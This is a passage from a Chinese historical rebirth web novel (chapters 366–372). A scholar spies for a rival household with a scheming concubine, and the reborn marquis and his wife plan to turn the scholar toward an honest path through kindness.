“要是可能的话,他让小生伺机劝解华侯和华侯夫人,缓和侯爷与端侯府的关系。小生如今要做华侯夫人的文墨师父,以后正好便易行事。” 其实还有一件事就是,李玦盯上华青青的婚事了,他自己当然不可能娶华青青,瞧华靖离的架势也不会让这个庶妹做妾。 可是他在李家还有一些待婚配的堂兄弟,就算他们不合适,之后他朝堂行走,总能遇到一些可与他互为臂膊的人,万一谁家有要婚娶的,能娶了华青青,也能承他的情。 要是华青青能因此得到一门好亲事,相信华靖离和华叶峰也会感谢他,毕竟华青青的婚事的确难办。 华青青是华叶峰唯一的女儿,然而她是庶女,这也就罢了,身为钩翊侯府这一代的独女,庶出的身份并不会有太多人计较。 可华青青最大的问题就在于她性子懦弱、胆小,才学上也平平无奇,甚至没有管家之能,要是让她嫁了高门,实在难以担当高门正室的责任。 但要说让他嫁个高门庶子,或是嫡次子、嫡三子之类的,先不说华家介不介意,那户人家想必也会担心这样安排会不会惹华家不快,让华家人觉得他们轻慢了华家的姑娘。 可要说让华青青嫁嫡长子、当宗妇,她明明担当不起,还让她勉力为之,即便配几个得力的人给她使唤,这么下去也恐怕早晚要出祸乱。 所以华青青的婚事并不好办,高不成低不就……尤其是华家近来才开始重视华青青,又已经到了相看婚事的时候,匆忙之间哪里有人选。 李玦却不一样了,也许是他交由广利的缘故吧,据他所说他手上还真有几个合适的人选。 这几个人论出身、门第不算显赫,却也没有辱没华青青,而华青青不必担负宗妇的重担,也能享受尊荣。 要让孙允斌说,这样的人选,华家一样能寻到,只是需要时间,李玦敢这么想,主要还是打了一个时间差,抓住了人家可能比较心急这一弱点。 这也是孙允斌以应征华青青文墨师父为由入府的原因了,只是这件事现在没成,他既然要到夏明嫣身边了,就不好再沾惹一个华青青了。 夏明嫣有华靖离做夫婿,背地里玩儿得再婚,面上的脸面也是要的,她断然不会闹出去。 华青青去不一样了,一个未嫁的姑娘家,万一觉得他左右逢源、戏耍了她,说不定就不管不顾地闹出去了。 孙允斌深知无论是钩翊侯府还是端侯府,都只是他初时的助力和跳板而已,他将来还是要入仕的,所以名声对他来说很重要…… 谁知道卜小娘只微微点头,之后还是问了句:“消息是要打探的,关系也要缓和,可我还以为你是冲着青青那丫头来的呢,你这样子,跟李世子……挺像的。” “罢了罢了,你能在侯夫人身边也好,如今就她那儿的消息最灵通。她说话,侯爷也肯听,要是她肯为李世子说几句话,这关系迟早都是要缓和的。” “我一个妇道人家,最多只能从老侯爷和老夫人那儿打探些消息,侯爷那边还得靠你。总之,你有什么有用的消息或是进展就想法子告诉我,我帮你把消息传回端侯府去。” 这府里的事儿好些一听就知道是他们两个当中的谁打探出来的,不用担心各自的功劳被另一个人贪了去。 卜小娘好歹是这府上半个主子,每个月出去两三趟进香、买东西都不足为奇,不会引人注意。孙允斌在此毕竟是客居,出去的多了,反而引人侧目。 孙允斌对此没有异议,他只是觉得跟卜小娘这样一个半老徐娘打交道,让他有些不舒服,他也对这个人是不是靠得住有所疑虑: “以后多有劳烦卜夫人的地方,小生先在此谢过了。小生与世子相交,一为性情相投,二为前途考虑,小生乃孙氏旁支,这华家的关系不敢指望,到头来大概还是要倚仗世子那边。” “小生如今在华侯和夫人身边应酬,虽说是为世子做事,可毕竟会与华侯和夫人的来往更密切,如此以来,日子久了,难免会让世子心生误会。” “不知道卜夫人可否赐教一二,教教小生如何能不与世子起嫌隙?” 第367章太不懂事儿 华靖离和李玦原本的关系就不是亲密无间的,李玦为了自己的名望,为了让世人以为他有钩翊侯府这个大靠山而肆意夸大、宣扬他们之间的兄弟情义。 而华靖离原以为是个大大咧咧的念旧之人,没成想,人家心里早就有了一本账,只是一直以来引而不发,等到了合适的时机,直接就当众决裂了。 这两人都各有算计,如今李玦想要缓和关系,定然也并非真心悔愧,而是为了他自己和端侯府的将来考虑。 孙允斌怕的就是他既然要在钩翊侯府探听消息,就免不了要接近华靖离和夏明嫣,想要多打听些消息出来,甚至帮李玦说话,他跟这二人的关系就远不了。 如此这般,他究竟能不能帮李玦说上话、取得成效,还不一定,他和华靖离、夏明嫣的关系就可能已经引起李玦的猜忌和反感了。 到时候万一华家的这条船他再没上去,两边都没成事,还把两边都得罪了,他的前程恐怕还未见起色就已经化成了飞灰。 孙允斌这么问,是想听听卜小娘在左右逢源这方面有什么心得,也是想影射一下卜小娘自身的经历,听听她身为华老侯爷妾室且育有一子,为何还要背叛华家,与李玦为伍的因由。 卜小娘一开始却并未明白他的这层意味,反而不屑地道:“你这小子好生有意思,都是出来奔前程的人了,能应下这样的事儿,你能连左右逢源都不会?” “你要是这般不济事儿,趁早出府去,别在这儿耽误工夫了,还得连累我。” “不,不是的……卜夫人,小生是有几句话想问,只是一旦问了,又怕惹夫人生气。” 孙允斌见卜小娘露出些许不耐之色,也顾不上她高不高兴了,赶忙问道, “二公子如今有了自己的前程,还得到华侯和夫人看顾,将来虽说不能出仕为官,可富贵的日子是少不了的。” “既然如此,卜夫人您又何苦跟世子那边牵扯不清?您一个妇人,要周旋在华家上下和世子之间,您就不怕万一事败……” 孙允斌对于华家人来说是一个新人,他们对他并不了解,他对他们也没有感情,以他的能耐,至少开始的时候不难装下去。 卜小娘却不一样,她在钩翊侯府已经待了二十多年了,这儿的人对她可谓是很了解了,她现在应下了给李玦做眼线,也就意味着她要周旋于丈夫、儿子、主母等等一干人之间。 孙允斌就是好奇,一个宫女出身的妾室,儿子也有了前程,将来她定能过着富足的日子颐养天年,她折腾这些还有什么用? 卜小娘看了他一眼,像是在嘲笑他的天真:“我看你是读书读傻了,这华家的家业这么大,别说以我的出身,我生下的儿子不是寻常的庶子。” “就算他是一个贱妾所出的庶子,将来也少不了一份家业,一样能过上富贵生活。我说这些,你一个旁支子弟想来也不大明白。” “总之就是,在华家,最不值钱的就是富贵,但凡是个拿得出手的子弟所求的都是功名前程。我儿并非才华不济,从前也并非无心仕途,是他们从一开始就没打算给他机会,只知道捧着华靖离,才把他给养成了废物的!” “我身为他的亲生母亲怎能不为他报仇?就算只要家业,我还想为他多争取一些呢。这端侯府如今看着不起眼儿,可我瞧着将来却是大有所为,尤其是这位世子爷,能屈能伸,将来必有大的成就。” 这倒是说得通了,一个母亲为自己的儿子鸣不平,什么事儿都做的出来。 要说相信李玦这个人将来会有所大成,即便他的成就不如华靖离,可也不能说他的成就不大。 何况卜小娘有一点说的很有道理,就是李玦这个人比一般人都能屈能伸,华靖离再好,木秀于林,难免为风所摧。在这世道上,李玦这样的没准儿真能笑道最后。 卜小娘这么做的理由也是站得住脚的,而且以她在这府里的阅历,或许还知道些端侯府的密辛,没准儿这李玦还真有大成呢。 孙允斌刚来元京,还没什么获取消息的渠道,他只能从这些一直在元京生活的贵人口中得知哪怕那么一星半点的先机。 他当下不信也不行,当即点了头:“卜夫人慈母之心,用心良苦,小生感佩,以后小生也要多蒙夫人照顾了。” 卜小娘对他的态度还是满意的,颔首应下:“别说这些虚的了,你刚才跟侯夫人在一处,还跟那个邓小娘说过话,可打探到了什么?” 孙允斌刚进府,听到的东西显然不多,她却在这时候问起,显然不懂事儿了。 可他日后还有许多要求着卜小娘的地方,他也只能把刚才才知道的那些还没有确证了事儿跟她说一说: “别的倒是没什么,就是夫人对华侯的态度着实古怪,可这邓小娘却说这是正常的,还说华侯对夫人有愧,这夫人生不出孩子。” “小生就觉得奇怪了,这夫人年纪轻轻的,从前虽未养在元京夏府,却也是在老家好生教养长大的。元京到处都是关于她的传言,从未有人提过她经历过什么大的磨难。” “况且夏家怎敢把一个产育上有亏的女子嫁到这钩翊侯府来,要是身有恶疾,即便是成了亲也是可以休弃的……他们应该不敢,那这没有孩子……” 卜小娘拧眉听着,一开始还在想,谁说夏家就没这胆子了,没准儿想着当时华靖离多半就要不行了,谁也不会去查夏明嫣究竟能不能生,也就把人给嫁过来。 可后来一想又不对,一开始要嫁过来的是夏明月,夏明嫣是换亲之后才定下的。 当时换亲之事颇为仓促,其实楚氏来说这事儿的时候,董氏和华叶峰心里都有气,觉得夏家出尔反尔,不尊重华家。 所以严格来说,楚氏离开钩翊侯府的时候,董氏和华叶峰并没有真正应承换亲之事,谁知道当晚就收到了华靖离遇刺重伤的消息,然后紧接着赐婚的圣旨到了,才将婚事真正确定了下来。 第368章当他是个玩意儿 也就是说,从夏家的角度来看,夏明嫣和华靖离的婚事那时并没有真正定下,与华靖离有婚书的依旧是夏明月,而华靖离遇刺重伤和圣旨赐婚都是后来的事,他们根本不可能预测到。 这夏明嫣要是身子有问题,他们家是不敢这么明目张胆地要让她换亲来华家的,因为要是华靖离没有遇刺,她不能生育的事儿用不了多久就会被揭穿,夏家换了个身子有问题的女儿过来,定是要担责的。 倒不是说嫁过来的女儿不能生育,娘家都有责任,可是这故意换过来的可就不好说了,弄不好,两家还要结仇呢。 卜小娘认定了夏家没有这么大的胆子做这种事,立刻就认可了孙允斌的猜测: “这还用说,身子有问题的定然是侯爷。侯爷十岁就随着老爷子征战沙场了,十几年的光景,只每两三年才回元京一两个月,北疆那地方冷,他又没法子保养自己,这身子坏了也不出奇。” “何况他之前受了那么重的伤,你家里要是有生过重病、受过重伤的长辈就该知道,这所谓的好了,不过是能过日子罢了。平时不仅少不了汤药保养,之后不论男女,即便年纪还轻,想要再有个孩子,都是难上加难的。” 武将之家的男子,还有那些个在苦寒之地做活的苦力,再就是那些戏班子、教坊司的有武戏的戏子和舞姬,好多都是在小时候坏了身子的。 这夏明嫣瞧着明艳动人,有楚家女师看着长大,母家又是医家,想来身子不会有什么大问题,那么有问题的就只会是华靖离了! 孙允斌见自己的猜测没错,底气也足了些:“只是这件事对世子来说应该没什么用,华侯还年轻,咱们总不好插手钩翊侯府继人的事。” “而且华侯才成婚月余就纳了妾了,小生刚才还听说还有妾室等着进府呢,这万一哪个就是个有运道的呢?” “什么运道不运道的,你还年轻,你不懂。” 卜小娘经验老道地说,像孙允斌这种没成亲也没有妾室、通房的毛头小子,能懂什么, “这要是还能有法子让哪个女人生出来,侯夫人自己就不想试试了?她就能这么破罐子破摔地放弃了?她才进门多久,但凡还有一点希望,都不至于现在就……接近你这样的,跟侯爷置气。” “定是没法子了,才如此的。那些个妾室也不过都是摆设罢了,有这么些个人在,才显得他华靖离没有问题。这样也能先把我儿打压了去,将来少分些家业给我儿。” “等我儿将来被排除在外了,他们再从别的房头过继。说是对自己的阿弟有多好,还不是宁愿选别人,也不愿意选他,就怕有我这个宫里出来的生母在,将来要了他们的强去。” “不信你自己想想,那邓小娘为何天天往老夫人这儿跑,都不去服侍侯爷?” 这过继的确是门学问,要是主支的郎君没有子嗣,的确不见得会过继亲兄弟家的儿子,很多时候都宁愿从旁支过继。 一来,跟亲兄弟的关系太近了,住得也近,这孩子将来很可能还是跟亲生父母亲,或是面上不表现出来,但心里还是向着亲生父母的,将来两边的关系不好处,将来家业也容易落到孩子的亲生父母手里。 二来么,既然是亲兄弟,就意味着这主支的郎君和孩子的生父出身上是一样的,要是不同母,后者生母的出身要是更高贵的话,这么一过继,主支郎君的一切可都彻底落在孩子生父一家的手里了。 这样的话,不仅这继人究竟是谁家的孩子的问题了,这主支郎君和妻妾老了之后如何过日子恐怕都要受人辖制了。 以华家的情况来看,刚好有这种可能。 这主要是因为华靖离和华靖和是同一个父亲,而华靖离的生母董氏只是个小官家之女,家族凋敝,早就没了倚仗。 卜小娘本身出身也一般,但以她这能钻营的劲儿,完全有能力借上孙家的势力,现在孙家也不行了,可华靖离就算要过继子嗣,也是十几甚至二三十年以后的事,说不定那时候孙家又行了呢? 这里里外外一夹击,华靖离要是过继华靖和的子嗣,也许真会担心将来的日子不好过。要是按照他自己的心愿,大概真的更愿意过继旁支的子弟。 孙允斌相信了卜小娘的判断,低声念叨着:“纳了妾却不是为了生子,这样的后宅迟早会矛盾横生,卜夫人的意思是要利用这后宅的矛盾帮世子成事?” “孺子可教也,事儿就是这么个事儿,老夫人和邓小娘那边有我呢,夫人那边可就靠你了。先想想法子,还是得让世子去军中历练才行。” 卜小娘说完,还不大放心,又笑着将孙允斌上上下下打量了一番,看得他鸡皮疙瘩都起来了, “你是个读书人,心里头清高,我也是能理解的,可是既然你现在也无势可依,有些事儿就得想开些。守着清高过一辈子,什么都没有,你不也不甘心么?” “侯爷欠着夫人的,将来也还得跟夏家那边缓和关系,少不得要多优容夫人些,你可得抓住机会。当然了,你要是能不靠那种事儿就同时讨好了他们两个,也是你的本事。” “不过你这个年纪能跨出这一步已经不容易了,我也能理解你的苦衷,要是心里实在受不住了,就来找我说说话。我一个老妾,老侯爷大半年都不来我这儿一次了,你来陪我说说话也好。” 卜小娘回去前还在孙允斌手背上摸了一把,孙允斌强忍着才控制住了自己的恶心,要不是已经做好了心理准备,他都要吐出来了。 这卜小娘大半辈子都用先太后做靠山,见了他这样的小辈,即便存了善待、帮扶的心思,也少不了想要占他的便宜。 这就是深宅寂寞下的老妇么? 夏明嫣把他当个玩意儿,这卜小娘一个失了势的妾室也是这般,他就只能甘愿当他们的玩意儿么? 第369章还在来时路 要是别人因他无财无势看不起他,他只会生出莫欺少年穷的不甘和愤恨来,想着将来等他有了成就了,定要让这人好看。 可这些女子,尤其是半老徐娘的老妇,对他起了此等轻屑之心,等他功成名就,他定然不会让这人有命活下去! 孙允斌不觉露出凶狠神色,听见远处有人寒暄着走来,赶忙离了后花园,去寻下人问路,往侯府给他安排的住处行去…… 孙允斌没有注意到,他刚刚与卜小娘说话的假山里还有跟邓澜说话时游廊下的花丛里,早就躲了人,他们之间说了什么,对方都听得一清二楚。 这些话被汇总到了葱白这儿,他绘声绘色地给华靖离和夏明嫣学着,一边还偷看华靖离的眼色,这一看心里就更乐呵了。 他们侯爷对夫人可是真宠,虽说这是计策,可那孙允斌毕竟是个年貌正好的秀才公,让这样一个人在她家夫人面前时常出入,这得多放心。 葱白绘声绘色地道:“……那孙公子跟邓小娘说话时倒还好,邓小娘按照夫人嘱托的说了那些杯弓蛇影的话,孙公子并没有多大的反应,看起来倒是没打算利用侯爷的私隐做文章。” “只是后来,他被卜小娘逼着要消息,想是刚入府,他也没什么可说的,才将那件事说出去搪塞。如此看来,这位孙公子倒不是一个毫无气节之人。” “可卜小娘就不一样了,他觉得如今侯爷和老侯爷亏待了二公子,想要利用侯爷新婚便纳妾的这些内宅私隐生事,想来近日就会跟端侯府那边通消息了。” 虽说大丈夫以功业立世,可这内宅之事也颇为重要,尤其现在朝廷考绩也会看治家如何,万一生了乱子,耽误不止前程,还会影响圣上和朝廷对一个人的信任。 李玦现在还到要整死华靖离夺取功业的地步,但是现在南疆局势不明,原本就山路不通,自那场水患之后元京、中原、北疆更是与南境和南疆隔绝,现在想知道那边的情况都不容易。 端侯府跟南疆旧部的联系原本就是时断时续的,如今更是难以为继,何况李玦想要去军中历练是为了让圣上松口,将来让他重建李家军,也就是说这段履历需要能见得光才行。 现如今李玦想要光明正大地拥有这段军中履历,就只能去北疆,那就一定要经过华靖离。 而且以现在的形式来看,二人已经割破短衣,即便北疆的确有人有权力把李玦弄过去,可原先或许可以,现在要是公然这么做的,未经华靖离许可,那便是与他和华家为敌了。 如今李玦要想通过内宅生事,也定然是想让华靖离松口放他去北疆,要是能把华靖离激得不得不故作大度,甚至还能在他前往北疆时对他多加优容呢。 夏明嫣笑了笑:“这孙允斌到底年轻,见识还是少了些,还远远到不了老谋深算的地步,被卜小娘逼问上几句,就什么都说了。” 葱白听了,大为不解:“不老谋深算,不是很正常吗?他想通过青姑娘或是夫人进府,要是个老头子,或是那种说跟女子说句话都脸红的,也不敢如此登门吧?” 葱白不知道在他面前的两位主子都是重生之人,只看见这二位相视一笑,那两道目光中默契而生,下一刻这两道目光又都带着意趣落到了他身上。 既然葱白什么都不知道,接下来有些话便不方便对着他说了。 华靖离便装作动怒地道:“一个白面书生,不过是模样生得俊俏些,就值得你这样说。行了,没事儿做了么?忙你的事儿去,别在这儿处着了。” 华靖离往日赶人,哪有这般长篇大论的,短短几个字足矣。 葱白看看这二人,虽然脚下乖巧地听话往外走了,脖子和眼睛却还一步三回头地看着这二人。 他家侯爷定是吃醋了,不过即便吃醋也要拿一个白面小生打趣儿,这对儿夫妻也太有意思了。 他家侯爷是很有底线的,要不是对夫人绝对的信任,哪里开得起这样的玩笑。不仅如此,他还由着夫人用这样的方式设计,这可是够纵容的了。 而夏明嫣敢这般行事,也是拿准了自己能守住底线的,只是逗着那白面小生玩儿的,就是不知道她跟他们家侯爷之间究竟是有了怎样的默契,逗这小生的同时也是在逗乐给他家侯爷看呢。 总之,他家侯爷伤愈之后,定是他们患难与共的原因,他们这新婚小夫妻的感觉是越来越好了呢,最近还圆了房,说不定过不了多久他就要有小主子了…… 葱白关门时的眼神都快能甜出水来了,看得华靖离和夏明嫣都哆嗦了一些,等门关上,两个人都闷笑出声了。 等华靖离笑完,夏明嫣才道:“前世的孙允斌也是在十几年的历练后才成了后来的样子的,他现在还是个相对单纯的人。毕竟他再聪慧、再有成算,也跳不脱这一世的见识。” “就像我,上一世的这时候,不过是一个从卢阳来的井底之蛙,遇事先就慌了,还在纠结着要是怀疑了楚夫人和父亲,他们是不是就不把我当作女儿了。” “说来也是可笑,我竟然对这些本来就对我没什么亲情的人抱有期望。现在孙允斌也没比我当初好多少,不过这件事倒也提醒我了,他还不是后来的孙允斌。” 孙允斌虽说是落魄的外戚旁支,从小到大,无论是从孙家嫡支身上,还是在世人那儿,他的确受了不少冷眼,可他家里是经商的,日子倒也过得殷富,还是属于比上不足比下有余的。 因此孙允斌只是想要一个好的前程,振兴他们这一支,却没有过多地怨愤,也没有像夏明嫣那样有太深的不安。 他后来极其迫切地想要出人头地、把持朝堂,何尝不是后来受了刺激? 在孙家老家时,那儿不是个大城,见识不多是一方面,受的磨难或刺激不够大、不够特殊也是一方面。 那样一个山清水秀、民风淳朴的地方,就算有不好的人、不好的事,比起元京和朝堂、沙场上的风霜雪雨相比,那可差得远了。 何况再是旁支,也一样是姓孙的,就算有人轻视他和他的家人,也得顾着先太后和嫡支的面子,是不敢太过分的。 第370章寄望将来,得先有将来 孙允斌受过的搓摩不算大,他的野心和怨愤之情也就都还在可以控制的范畴之内,还不算太过,因此眼下的他还没有那么深的心计,虽然选择了不大光彩的手段,倒也还是要脸面的。 “你能这么想,很好。” 华靖离看向她,意外的是,他的目光中带着欣慰,见她不解,便道, “上辈子你我都各有仇怨,当我发现自己重生了的那一刻,因为刚刚成了婚,我一时间不知道嫁进来的是不是还是夏明月,后来见是你嫁过来,便一门心思地开始琢磨这一世老天爷是不是就这么的让你我能够相守了。” “等我确定了这一切,尤其是发现你也重生了的时候,那种原本应该有的愤怒、怨怼之感已经过去了。我当时就在想,重活一世,我们是应该报仇雪恨,还是应该过好自己的日子。” 那些愤怒和怨怼并不是消失了,而是最初那种浓烈的感觉已经过去了,可以相对冷静地去思考别的事情了。 上辈子华靖离被李玦害死之后到重生之前,他还在那里徘徊过一点时间,而这段时间显然要不比夏明嫣在那里徘徊得久,他看到的更多。 而因为眼界更为宽广,在沙场上又见识过数万人的性命,他看待个人的仇怨时,总是能更超脱一些。 华靖离还是一个更爱往自己身上揽事儿的人,他一直认为上辈子他之所以会有那样的下场,跟他自己不愿与故人撕破脸又对事情全局把握不善有关,他对李玦和夏明月的恨也就没那么重了。 倒不是说不恨了,只是能理智地看待这一切了。 重活一世,就不能完全用老眼光看待问题,而这一世的李玦和夏明月,乃至孙允斌,尽管还都是一样的人,却都还没有做出那些事。 那么,他们是要专心致志地报仇,还是为了阻止那些大势之下还必然会发生的影响天下百姓的大事,付出心血的同时,顺带报仇,而之后仍要过他们自己的日子? 华靖离已经看开了,他这辈子只要一个人和做一件事。 他要夏明嫣,他也要阻止那些事,那些因为他引起的、伤害了百姓和华家军的事。做好这件事,护好他的人,别的他都别无所求。 只是夏明嫣跟他不一样,上辈子李玦是突然发难的,他在被李玦害死之前,日子该怎么过就怎么过,其实并没有受太多额外的搓摩,他只是结果悲惨了一点罢了。 可夏明嫣是受了大半辈子的搓摩的,就像现在还没受过大难的孙允斌不会有太大的心思一样,相反的,夏明嫣受了那么多的罪,她的心思不重、报仇之心不急切都说不过去。 华靖离看着她,想要一个答案,他会尊重她,可要是她执意将全部心力放在报仇上,他多少会有些遗憾,因为这样的话,她定然会错过这一世的风景。 夏明嫣看了看他,笑着道:“又来了……你既然都说了,我也说些心底里的话。这都两辈子了,我再恨他们,也知道一生缘一生了的道理。” “纠结于上辈子的仇恨没有多大意义,这辈子他们都没干那些事儿呢,我要是就这么冲过去找他们报仇,他们只会感到莫名其妙,根本就不会有愧悔之心。” “你看我现在做了的事,哪件不是他们这一世做了初一,我才做十五的?要是他们都改了,我就是有心报仇,我也没有由头冲过去啊。” 意思就是,他的担心都白费了,要是他们没干那些事儿,她急吼吼地跑过去对他们喊打喊杀,她恐怕就要被当做疯妇关进疯人谷了。 他们先做了对不起她的事,先起了坏心思,她才去给他们设局的。 她报复的不是上辈子的夏明月、李玦和楚氏等人,她针对的就是这一世的他们。 尤其在她最早知道夏明月也重生了之后,她是期待过夏明月能有所改变的,毕竟上一世夏明月虽然得到了李玦,当上了端王妃,那一辈子也过得颇为坎坷。 就算夏明月还是那样一个人,可她即便只是为了让自己过得好些而做出改变都好。这辈子她可是从一开始就嫁给了李玦的,按理说也该如愿了。 明明就是夏明月自己贪心不足,嫁了如意郎君还不放过她,处处拿捏她不说,还想把她拥有的都占为己有,再加上端侯府和另外三家贼心不死地还想继续上辈子没完成的“大业”,才逼得她不得不给他们设套的。 华靖离听明白了,可心里头还是担心她只是嘴上说说而已,不等跟她商量,起身就往门口走去,眼看着就是要直接吩咐人去办了: “既然你都看开了,那孙允斌的事不妨换一种方式解决。要让他离开李玦,甚至让他成为李玦和其他几家的绊脚石,他选了走内宅这条路,咱们却未必要跟着他的步伐走。” “他如今还不是后来老谋深算的孙相,李玦能有办法拿捏他、把他引上后来的路,我们也有法子引他走上一条新的路。” “上辈子你一直在端侯府,这时候你虽未察觉有孙允斌这样一个人,可你定然也能想象得出李玦引他走上的这条路有多不好走。” “现在换成你我了,以你我能开的出的价码和如今华家的势力,哪样都比他李玦能给的多。李玦能领着他在黑暗中蹒跚而行,我们为何不能引着他在光明中昂首阔步?” 这些人对端侯府给予厚望的前提是,将来的某一天,端侯府能取出那些富可敌国的宝物,重建李家军,然后举事,成天下之大业。 可这一切的前提都是“将来”二字,然后寄望于“将来”的前提是得先能走到“将来”,得先能活到“将来”才行。 而通往“将来”的这条路,对于眼前的弱势者来说,从来都是充满荆棘的。 想要走过这条路,前行者必当满脚污泥、血污,手上也必是要沾染从前未曾想过的人的鲜血的。 这条路不好走,除非是天生的野心家,但凡有一条舒服、干净的路能走,大多数人宁愿将来的成就小一些,也会选择走这条光明之路。 第371章与其入深渊,不如走正途 前世孙允斌一样是一进元京就上了李玦的船,后来以他的的聪明才智和跟夏明月那上不得台面的关系,还有那时李玦正值用人之际,他应该很快就被李玦纳入了核心利益圈。 一旦接近了那个秘密,孙允斌便是想下船都不可能了。 李玦和那三家要走的路,远望之后看似大有前途,可只要低头一看脚下便知道当下尽是黑暗,要不是已经下不了船了,谁会走下去? 在这一路艰难险阻和重重阴谋的磨砺之下,才有了后来的孙允斌。可是选择那条路走,是被逼着不得不走下去的,还是自愿走下去的,还是有区别的。 以现在的实力对比来看,李玦和端侯府处处无法跟华靖离和钩翊侯府相比,前者能提供的条件和诱惑也自然比不上华靖离能给的。 关键是,华靖离能引他上的那条路光明正大,前途如何抬一抬头就能看见,这两点对于有功名的读书人来说都异常重要,因为他们这样的人讲气节! 何况孙允斌这个读书人还出身后族,至少现在的他还是有信仰和骄傲的,要不是被逼得没办法了,他哪里舍得下自己的骄傲跟李玦同流合污,甚至用上了从女子下手的龌龊手段。 眼下孙允斌行的是无奈之举,可要是华靖离愿意给他另一条路呢?他之后的人生会不会就不同了? 夏明嫣眼睛一亮:“你是说要把孙允斌引上正途?给他更好的条件,把他拉拢过来,这倒不失为一个办法。上辈子这时候也不知道他在哪儿,但他定然还没有到夏明月身边,用上这等算计女子的伎俩。” “这么看来,他这辈子的处境还比上辈子更差了。你看,他连想了解孙允斌,都得找卜小娘这样的人,上辈子他好歹还能问问夏明月呢。” “如今是愈发不如从前了,他在这种情况下,应该更容易被引导才对。要是引导得当,说不定将来他还能站在咱们这边。就算他不被咱们拉拢,至少也能让他跟咱们之间没有那么敌对。” 上辈子孙允斌跟夏明月有私情的时候,夏明月已经被关进华家家庙了,孙允斌会跟她搭上,想必是李玦让他去代为看望夏明月,或是让他去找夏明月打探华家消息的。一来二去的,两个人才在一起的。 能被李玦派去见夏明月,可见李玦对他已经很是信任了,跟这份信任对应的,自然会给他更多的支持、更好的条件。 而如今李玦自己都自身难保了,原本能给的就不多,现在能给的就更少了,以至于他都让孙允斌效仿他自己,靠自己的皮相去诱惑贵女了。 呵,严格来说,他给孙允斌指的这条路连他自己走的那条都不如,他自己至少能顺着裙带往上爬,他跟夏明月是正头夫妻,是夏家正经的女婿、楚家的外孙女婿。 孙允斌呢?就算他侥幸得到了华青青的欢心,华家也不可能把华青青嫁给他,他到时候可就连面首都算不上了。 夏明嫣抿嘴一笑,“那我就再跟他走得近些,让他有那种连面首都当不上的屈辱感,然后再由咱们的侯爷开出条件,给他前程,他定然不会拒绝。” 一个把他的尊严按进泥里碾,一个让他站在台面上光明正大的前行,得到的即便没有前者多,但同时风险也要小很多,还能保留他想要守护的尊严,他怎会不答应? 华靖离看了看她,伸手在她鼻尖上一刮:“你还真想对他使美人计?他可是孙允斌,未来的右相,你落了这样的把柄在他手里,将来恐怕会不好办。” 这只是明面上的理由,心里头么,自然是他自己不愿意的,他可不想让别人来跟他分享夏明嫣,哪怕是她的一颦一笑, “你别误会,我倒是不担心你会假戏真做,那毛头小子,你定然是看不上的。可是你也得想想,他现在还是李玦的眼线,他跟你如何了,可都是会告诉李玦的。” “到时候那些话传到你那二妹妹耳朵里,就会传回夏家,你总不想让岳父大人把你叫回去训斥几顿吧?” “难道侯爷吃醋了?闻起来好酸啊。” 夏明嫣笑嘻嘻地看着她,他真是越来越了解她了,她的确不想被夏庸和楚氏叫回去训斥,不是害怕,也不是觉得丢脸。 她现在越是能看透夏庸和楚氏,就越是不耐烦面对他们,她担心被他们说烦了,会一脚把桌子踹翻。 不过,他也有不了解她心思的时候,她刚刚说的已经不再是让孙允斌有那样的误会了, “我要跟他走得近些,不一定是要以那种令人浮想联翩的方式。我要让他觉得自己连面首都当不上,也是可以跟他做兄妹的,误会的人是你才对!” 华靖离这才反应过来,刚才夏明嫣何尝不是在逗他,她之前就已经改了主意,不会用那种增加二人误会的方式处理这件事了。 夫妻之间即便有足够的信任,也经不起日积月累一点一滴的消磨。 虽说她是在对孙允斌用计,可是那些举动落在华靖离眼里,他也一样会不舒服。即便不生出嫌隙,她也不想让他难受。 华靖离心里暖暖的,嘴上却拉长了调子道:“原来夫人要用的不是男女之情,而是兄妹之情?此事甚妙,这孙允斌从前的确有过一个同胞妹妹,只是多年前因病夭折了。” “他如今只身来到元京,正是求助无门又孤苦伶仃的时候,夫人此举反而更容易让他放下戒心。那就这样,你我一左一右夹击他。” “我给他前程,你给她亲情,让他瞧瞧李玦能给他的,我们也能给,他给不了的,我们不仅给了还不求回报。” “好,从现在开始,我们就是他的好兄长和好妹妹。”夏明嫣笑道。 华靖离将她揽到怀中,二人依偎在一起转过身去,看着墙上那幅轻松图: “把一个人推进深渊,或许是解决问题的办法。可是扶一个本来要坠入深渊的人走上正途,也是一种很好的体验。” “我们都一下子活了两辈子,把别人送进深渊的时候,我们自己也是要跟着走一遭的。可要是我们扶他们上正途,前路的风景大好,我们也可以跟他们一起欣赏。” 第372章再逗逗他 孙允斌虽然不像华靖和那样是个本性纯粹的人,可他也远没有到后来坏得流油的地步,他还是可以引导的。 前世李玦逼着他在黑暗中前行,万事见不得光,他接触的东西都是不好的,耳濡目染,才有了后来的权相孙允斌。 这辈子如果一开始就给他正面的东西,让他接触到的不再只有权利阴谋带来的冰冷,让他发现还是有人温暖他、帮助他成功的,或许就会不一样了呢? 夏明嫣看着华靖离,半晌轻推了他一下,把小手放在他的掌心揉了揉: “我知道,你是为了我好,每天都沉浸在阴谋算计、蝇营狗苟当中,自己也会被阴谋诡计啃噬的。你不想我变成那样,我自己也不想。” “那样的人生我过过,我自己的感觉也很不好,你不知道,那时候最后……即便夏明月不来害我,我也活不了多久了。” 她那时身体里的余毒未清,可并不致命,只是心思越重,身子也越重,到了后来明明瘦得厉害,走路却觉得身子沉得厉害,每走一步都仿佛有千斤重,之后精力越来越差,成日都昏昏沉沉的。 她那时的医术经过在南疆的历练,已经提升了不少,她给自己看过,也请了宫中的御医给她看过,都不是身子的问题,而是心病…… 计策既然定了下来,二人便依计而行,于是,就有了这样一幕。 第二日孙允斌上门来给夏明嫣念账本、读诗的时候,原本以为夏明嫣会屏退左右,只留他一人。即便夏明嫣不会那般对他,也少不得要占他些便宜。 结果止戈园的门一开,孙允斌从进园子到进了正厅,一路都有侍女、小厮接引,竟半点不像要避着人的样子。 “来了,用过饭了么?要不要让他们再为你张罗几样?” 夏明嫣刚用完早饭,底下的人正把东西收拾出去,见孙允斌进来,就笑着看了过去。 她是想用妹妹看兄长的目光的,可两辈子的惊讶加起来,她比孙允斌可大多了,她看他反而像是在看阿弟。 不过这样反而更自然,显得更温暖。要是用妹妹看兄长的眼光,那当中多少得带着些仰慕,反而会被他误会,以为她对他真有什么想法。 孙允斌一愣,他弄不明白,怎么只隔了一晚,夏明嫣面对他时整个人都变了。 自他离开老家来元京之后,就再没有人用这样的目光和语气关心过他,可是夏明嫣让他进府,不就是想让他做一个没那么嚣张的面首么? 孙允斌心里秉持着怀疑,有些忐忑地道:“小生来之前已经用过了,多谢夫人。小生昨夜在府中赏月,做了一首诗,夫人若是想听,小生可以念给夫人听。” 